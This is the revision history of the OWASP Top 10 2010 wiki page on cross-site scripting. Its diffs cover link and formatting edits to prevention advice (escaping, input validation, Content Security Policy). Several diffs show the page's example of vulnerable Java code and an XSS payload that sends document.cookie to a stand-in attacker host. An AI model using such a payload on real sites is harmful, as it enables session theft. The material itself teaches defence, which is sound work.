Top 10 2010-A2-Cross-Site Scripting (XSS) - Revision history

MichaelCoates at 19:44, 18 October 2010

2010-10-18T19:44:54Z

MichaelCoates: Undo revision 91616 by MichaelCoates (Talk)

2010-10-18T19:43:59Z

Undo revision 91616 by MichaelCoates (Talk)

MichaelCoates: Changed Mozilla CSP Link

2010-10-18T19:41:56Z

Changed Mozilla CSP Link

Wichers at 18:37, 16 October 2010

2010-10-16T18:37:48Z

Neil Smithline at 05:16, 2 May 2010

2010-05-02T05:16:42Z

Neil Smithline at 21:02, 1 May 2010

2010-05-01T21:02:30Z

Neil Smithline at 21:00, 1 May 2010

2010-05-01T21:00:36Z

Neil Smithline at 20:57, 1 May 2010

2010-05-01T20:57:52Z

Neil Smithline at 20:56, 1 May 2010

2010-05-01T20:56:39Z

Neil Smithline at 03:37, 1 May 2010

2010-05-01T03:37:27Z

@@ Line 24: / Line 24: @@
 # The preferred option is to properly escape all untrusted data based on the HTML context (body, attribute, JavaScript, CSS, or URL) that the data will be placed into. Developers need to include this escaping in their applications unless their UI framework does this for them. See the [[XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet | OWASP XSS Prevention Cheat Sheet]] for more information about data escaping techniques.
 # Positive or “whitelist” input validation is also recommended as it helps protect against XSS, but is not a complete defense as many applications must accept special characters. Such validation should decode any encoded input, and then validate the length, characters, and format on that data before accepting the input.
-# Consider employing Mozilla’s new [http://people.mozilla.com/~bsterne/content-security-policy/ Content Security Policy] that is coming out in Firefox 4 to defend against XSS.
+# Consider employing Mozilla’s new [https://developer.mozilla.org/en/Introducing_Content_Security_Policy Content Security Policy] that is coming out in Firefox 4 to defend against XSS.
 {{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|number=3|risk=2}}
 The application uses untrusted data in the construction of the following HTML snippet without validation or escaping:
@@ Line 46: / Line 46: @@
 * [http://cwe.mitre.org/data/definitions/79.html CWE Entry 79 on Cross-Site Scripting]
 * [http://ha.ckers.org/xss.html RSnake's XSS Attack Cheat Sheet]
-* [http://people.mozilla.com/~bsterne/content-security-policy/ Firefox 4’s Anti-XSS Content Security Policy Mechanism]
+* [https://developer.mozilla.org/en/Introducing_Content_Security_Policy Firefox 4’s Anti-XSS Content Security Policy Mechanism]
 {{Top_10_2010:BottomAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|useprev=2010PrevLink|usenext=2010NextLink|prev=A1-Injection|next=A3-Broken Authentication and Session Management}}
 [[Category:OWASP Top Ten Project]]

@@ Line 24: / Line 24: @@
 # The preferred option is to properly escape all untrusted data based on the HTML context (body, attribute, JavaScript, CSS, or URL) that the data will be placed into. Developers need to include this escaping in their applications unless their UI framework does this for them. See the [[XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet | OWASP XSS Prevention Cheat Sheet]] for more information about data escaping techniques.
 # Positive or “whitelist” input validation is also recommended as it helps protect against XSS, but is not a complete defense as many applications must accept special characters. Such validation should decode any encoded input, and then validate the length, characters, and format on that data before accepting the input.
-# Consider employing Mozilla’s new [https://developer.mozilla.org/en/Introducing_Content_Security_Policy
+# Consider employing Mozilla’s new [http://people.mozilla.com/~bsterne/content-security-policy/ Content Security Policy] that is coming out in Firefox 4 to defend against XSS.
 {{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|number=3|risk=2}}
 The application uses untrusted data in the construction of the following HTML snippet without validation or escaping:

@@ Line 24: / Line 24: @@
 # The preferred option is to properly escape all untrusted data based on the HTML context (body, attribute, JavaScript, CSS, or URL) that the data will be placed into. Developers need to include this escaping in their applications unless their UI framework does this for them. See the [[XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet | OWASP XSS Prevention Cheat Sheet]] for more information about data escaping techniques.
 # Positive or “whitelist” input validation is also recommended as it helps protect against XSS, but is not a complete defense as many applications must accept special characters. Such validation should decode any encoded input, and then validate the length, characters, and format on that data before accepting the input.
-# Consider employing Mozilla’s new [http://people.mozilla.com/~bsterne/content-security-policy/ Content Security Policy] that is coming out in Firefox 4 to defend against XSS.
+# Consider employing Mozilla’s new [https://developer.mozilla.org/en/Introducing_Content_Security_Policy
 {{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|number=3|risk=2}}
 The application uses untrusted data in the construction of the following HTML snippet without validation or escaping:

@@ Line 23: / Line 23: @@
 Preventing XSS requires keeping untrusted data separate from active browser content.
 # The preferred option is to properly escape all untrusted data based on the HTML context (body, attribute, JavaScript, CSS, or URL) that the data will be placed into. Developers need to include this escaping in their applications unless their UI framework does this for them. See the [[XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet | OWASP XSS Prevention Cheat Sheet]] for more information about data escaping techniques.
-# Positive or “whitelist” input validation with appropriate canonicalization and decoding is also recommended as it helps protect against XSS, but is <u>not a complete defense</u> as many applications require special characters in their input. Such validation should, as much as possible, decode any encoded input, and then validate the length, characters, format, and any business rules on that data before accepting the input.
+# Positive or “whitelist” input validation is also recommended as it helps protect against XSS, but is not a complete defense as many applications must accept special characters. Such validation should decode any encoded input, and then validate the length, characters, and format on that data before accepting the input.
 {{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|number=3|risk=2}}
 The application uses untrusted data in the construction of the following HTML snippet without validation or escaping:
@@ Line 37: / Line 38: @@
 * [[XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet | OWASP XSS Prevention Cheat Sheet]]
 * [[Cross-site_Scripting_(XSS) | OWASP Cross-Site Scripting Article]]
 * [http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/Encoder.html ESAPI Encoder API]
 * [http://www.owasp.org/index.php/ASVS#tab=Downloads ASVS: Output Encoding/Escaping Requirements (V6)]
@@ Line 46: / Line 46: @@
 * [http://cwe.mitre.org/data/definitions/79.html CWE Entry 79 on Cross-Site Scripting]
 * [http://ha.ckers.org/xss.html RSnake's XSS Attack Cheat Sheet]
 {{Top_10_2010:BottomAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|useprev=2010PrevLink|usenext=2010NextLink|prev=A1-Injection|next=A3-Broken Authentication and Session Management}}
 [[Category:OWASP Top Ten Project]]

@@ Line 28: / Line 28: @@
 {{Top_10_2010:ExampleBeginTemplate}}<span style="color:red;">(String) page += "&#9001;input name='creditcard' type='TEXT‘ value='" + request.getParameter("CC") + "'&#9002;";</span>{{Top_10_2010:ExampleEndTemplate}}
 The attacker modifies the ‘CC’ parameter in their browser to:
-{{Top_10_2010:ExampleBeginTemplate}}<span style="color:red;">'&#9002;&#9001;script&#9002;document.location=<nowiki>'http://www.attacker.com</nowiki>/cgi-bin/cookie.cgi?foo='+document.cookie&#9001;/script&#9002;'.</span>{{Top_10_2010:ExampleEndTemplate}}
+{{Top_10_2010:ExampleBeginTemplate}}<span style="color:red;">'&#9002;&#9001;script&#9002;document.location=<nowiki> 'http://www.attacker.com</nowiki>/cgi-bin/cookie.cgi?foo='+document.cookie&#9001;/script&#9002;'.</span>{{Top_10_2010:ExampleEndTemplate}}
 This causes the victim’s session ID to be sent to the attacker’s website, allowing the attacker to hijack the user’s current session.

@@ Line 26: / Line 26: @@
 {{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|number=3|risk=2}}
 The application uses untrusted data in the construction of the following HTML snippet without validation or escaping:
-{{Top_10_2010:ExampleBeginTemplate}(String) page += "&#9001;input name='creditcard' type='TEXT‘ value='" + request.getParameter("CC") + "'&#9002;";{{Top_10_2010:ExampleEndTemplate}}
+{{Top_10_2010:ExampleBeginTemplate}}(String) page += "&#9001;input name='creditcard' type='TEXT‘ value='" + request.getParameter("CC") + "'&#9002;";{{Top_10_2010:ExampleEndTemplate}}
 The attacker modifies the ‘CC’ parameter in their browser to:
 {{Top_10_2010:ExampleBeginTemplate}}'&#9002;&#9001;script&#9002;document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi? foo='+document.cookie&#9001;/script&#9002;'.{{Top_10_2010:ExampleEndTemplate}}

@@ Line 1: / Line 1: @@
 {{Top_10_2010:TopTemplate|useprev=2010PrevLink|usenext=2010NextLink|prev=A1-Injection|next=A3-Broken Authentication and Session Management}}
-<center>
+{{Top_10_2010:SummaryTableHeaderBeginTemplate}}
-{| style="align:center; text-align:center; border:2px solid #4F81BD; background-color:#F2F2F2; padding=2;"
+{{Top_10_2010:SummaryTableValue-2-Template|Exploitability|AVERAGE}}
-|- style="background-color: #4F81Bd; color: #FFFFFF;"
+{{Top_10_2010:SummaryTableValue-0-Template|Prevalence|VERY WIDESPREAD}}
-! width="16.5%" | Threat Agents
+{{Top_10_2010:SummaryTableValue-1-Template|Detectability|EASY}}
-! width="16.5%" | Attack Vectors
+{{Top_10_2010:SummaryTableValue-2-Template|Impact|MODERATE}}
-! width="33%" colspan="2" | Security Weakness
+{{Top_10_2010:SummaryTableHeaderEndTemplate}}
-! width="16.5%" | Technical Impacts
+     <td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>Consider anyone who can send untrusted data to the system, including external users, internal users, and administrators.</td>
-! width="16.5%" | Business Impacts
+     <td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>Attacker sends text-based attack scripts that exploit the interpreter in the browser. Almost any source of data can be an attack vector, including internal sources such as data from the database.</td>
-|-
+     <td colspan=2 {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>[[Cross-site_Scripting_(XSS) | XSS]] is the most prevalent web application security flaw. XSS flaws occur when an application includes user supplied data in a page sent to the browser without properly validating or escaping that content. There are three known types of XSS flaws: 1) [[Cross-site_Scripting_(XSS)#Stored_XSS_Attacks | Stored]], 2) [[Cross-site_Scripting_(XSS)#Reflected_XSS_Attacks | Reflected]], and 3) [[DOM_Based_XSS | DOM based XSS]].<br/><br/>Detection of most XSS flaws is fairly easy via testing or code analysis.</td>
-| style="background-color: #D9D9D9; color: #000000;" | ______
+<td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>Attackers can execute scripts in a victim’s browser to hijack user sessions, deface web sites, insert hostile content, redirect users, hijack the user’s browser using malware, etc.</td>
-| style="background-color: #FFB200; color: #000000;" | '''Exploitability<br>AVERAGE
+<td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>Consider the business value of the affected system and all the data it processes.<br/><br/>Also consider the business impact of public exposure of the vulnerability.</td>
-| style="background-color: #FF00FF; color: #000000;" | '''Prevalence<br>VERY WIDESPREAD
+{{Top_10_2010:SummaryTableEndTemplate}}
 {{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|number=1|risk=2}}
 You need to ensure that all user supplied input sent back to the browser is verified to be safe (via input validation), and that user input is properly escaped before it is included in the output page. Proper output encoding ensures that such input is always treated as text in the browser, rather than active content that might get executed.